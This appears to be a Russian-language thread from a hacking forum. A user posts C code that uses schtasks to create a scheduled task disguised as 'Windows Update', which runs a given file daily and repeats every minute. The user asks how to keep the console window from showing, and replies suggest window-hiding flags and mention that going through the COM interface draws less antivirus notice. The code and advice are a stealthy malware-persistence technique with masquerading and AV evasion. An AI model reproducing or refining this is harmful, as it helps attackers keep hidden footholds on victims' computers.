• XSS.stack #1 – первый литературный журнал от юзеров форума

Добавление в планировщик задач

BaDRabbiT404

RAID-массив
Забанен
Регистрация
01.03.2020
Сообщения
93
Реакции
27
Пожалуйста, обратите внимание, что пользователь заблокирован
Всем здоровья и комфортной среды обитания! Написал добавление в планировщик задач, но проблема в том, что каждый раз всплывает долбаное чёрное окошко. Как можно пофиксить?

C:
LPWSTR cmdAddCommand[255];
STARTUPINFO cif;
PROCESS_INFORMATION pi;

wcscat_s(cmdAddCommand, 255, L" /c schtasks /CREATE /tn \"Windows Update\" /tr ");
wcscat_s(cmdAddCommand, 255, filePath);
wcscat_s(cmdAddCommand, 255, L" /st 00:00 /du 9999:59 /sc daily /ri 1 /f");

ZeroMemory(&cif, sizeof(STARTUPINFO));
CreateProcess(L"C:\\Windows\\system32\\cmd.exe", cmdAddCommand, NULL, NULL, FALSE, CREATE_NO_WINDOW | NORMAL_PRIORITY_CLASS, NULL, NULL, &cif, &pi);

WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Вообще, планировщик доступен через COM, это куда менее палевно должно быть в плане аверов, но в данном конкретном случае попробуй поставить STARTF_USESHOWWINDOW и SW_HIDE в структуру STARTUPINFO.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Вообще, планировщик доступен через COM, это куда менее палевно должно быть в плане аверов, но в данном конкретном случае попробуй поставить STARTF_USESHOWWINDOW и SW_HIDE в структуру STARTUPINFO.
К сожалению, это не сработало
 
Пожалуйста, обратите внимание, что пользователь заблокирован
У тебя скорее всего для консоли собирается проект потому как с /SUBSYSTEM:WINDOWS этот код отрабатывает и не показывает никаких окошек.

C:
    LPWSTR filePath = L"TEST";
    WCHAR cmdAddCommand[255];
    STARTUPINFOW cif;
    PROCESS_INFORMATION pi;

    lstrcatW(cmdAddCommand, L" /c schtasks /CREATE /tn \"Windows Update\" /tr ");
    lstrcatW(cmdAddCommand, filePath);
    lstrcatW(cmdAddCommand, L" /st 00:00 /du 9999:59 /sc daily /ri 1 /f");

    ZeroMemory(&cif, sizeof(STARTUPINFO));
    
    CreateProcessW(L"C:\\Windows\\system32\\cmd.exe", cmdAddCommand, NULL, NULL, FALSE, CREATE_NO_WINDOW | NORMAL_PRIORITY_CLASS, NULL, NULL, &cif, &pi);

    WaitForSingleObject(pi.hProcess, INFINITE);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Покажи код.
C:
LPWSTR cmdAddCommand[255];
STARTUPINFO cif;
PROCESS_INFORMATION pi;

wcscat_s(cmdAddCommand, 255, L" /c schtasks /CREATE /tn \"Windows Update\" /tr ");
wcscat_s(cmdAddCommand, 255, filePath);
wcscat_s(cmdAddCommand, 255, L" /st 00:00 /du 9999:59 /sc daily /ri 1 /f");

ZeroMemory(&cif, sizeof(STARTUPINFO));
cif.dwFlags = STARTF_USESHOWWINDOW;
cif.wShowWindow = SW_HIDE;
CreateProcess(L"C:\\Windows\\system32\\cmd.exe", cmdAddCommand, NULL, NULL, FALSE, CREATE_NO_WINDOW | NORMAL_PRIORITY_CLASS, NULL, NULL, &cif, &pi);

WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
 
Пожалуйста, обратите внимание, что пользователь заблокирован
У тебя скорее всего для консоли собирается проект потому как с /SUBSYSTEM:WINDOWS этот код отрабатывает и не показывает никаких окошек.

C:
    LPWSTR filePath = L"TEST";
    WCHAR cmdAddCommand[255];
    STARTUPINFOW cif;
    PROCESS_INFORMATION pi;

    lstrcatW(cmdAddCommand, L" /c schtasks /CREATE /tn \"Windows Update\" /tr ");
    lstrcatW(cmdAddCommand, filePath);
    lstrcatW(cmdAddCommand, L" /st 00:00 /du 9999:59 /sc daily /ri 1 /f");

    ZeroMemory(&cif, sizeof(STARTUPINFO));
  
    CreateProcessW(L"C:\\Windows\\system32\\cmd.exe", cmdAddCommand, NULL, NULL, FALSE, CREATE_NO_WINDOW | NORMAL_PRIORITY_CLASS, NULL, NULL, &cif, &pi);

    WaitForSingleObject(pi.hProcess, INFINITE);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
Нет, подсистема виндовс. Каждый раз как проходит интервал появляется на секунду консолька.
 
Последнее редактирование:
Нет, подсистема виндовс. Каждый раз как проходит интервал появляется на секунду консолька.
Так это меняет дело. Проблема получается не в коде, который создает таск, а в том, что ты пихаешь в filePath. А вообще мало входных данных для выявления причин, гадать такое себе..
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Так это меняет дело. Проблема получается не в коде, который создает таск, а в том, что ты пихаешь в filePath. А вообще мало входных данных для выявления причин, гадать такое себе..
в filepath я так раз таки пихаю это же приложение, которое скомпилино под винду и никаких окошек выкидывать не должна.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх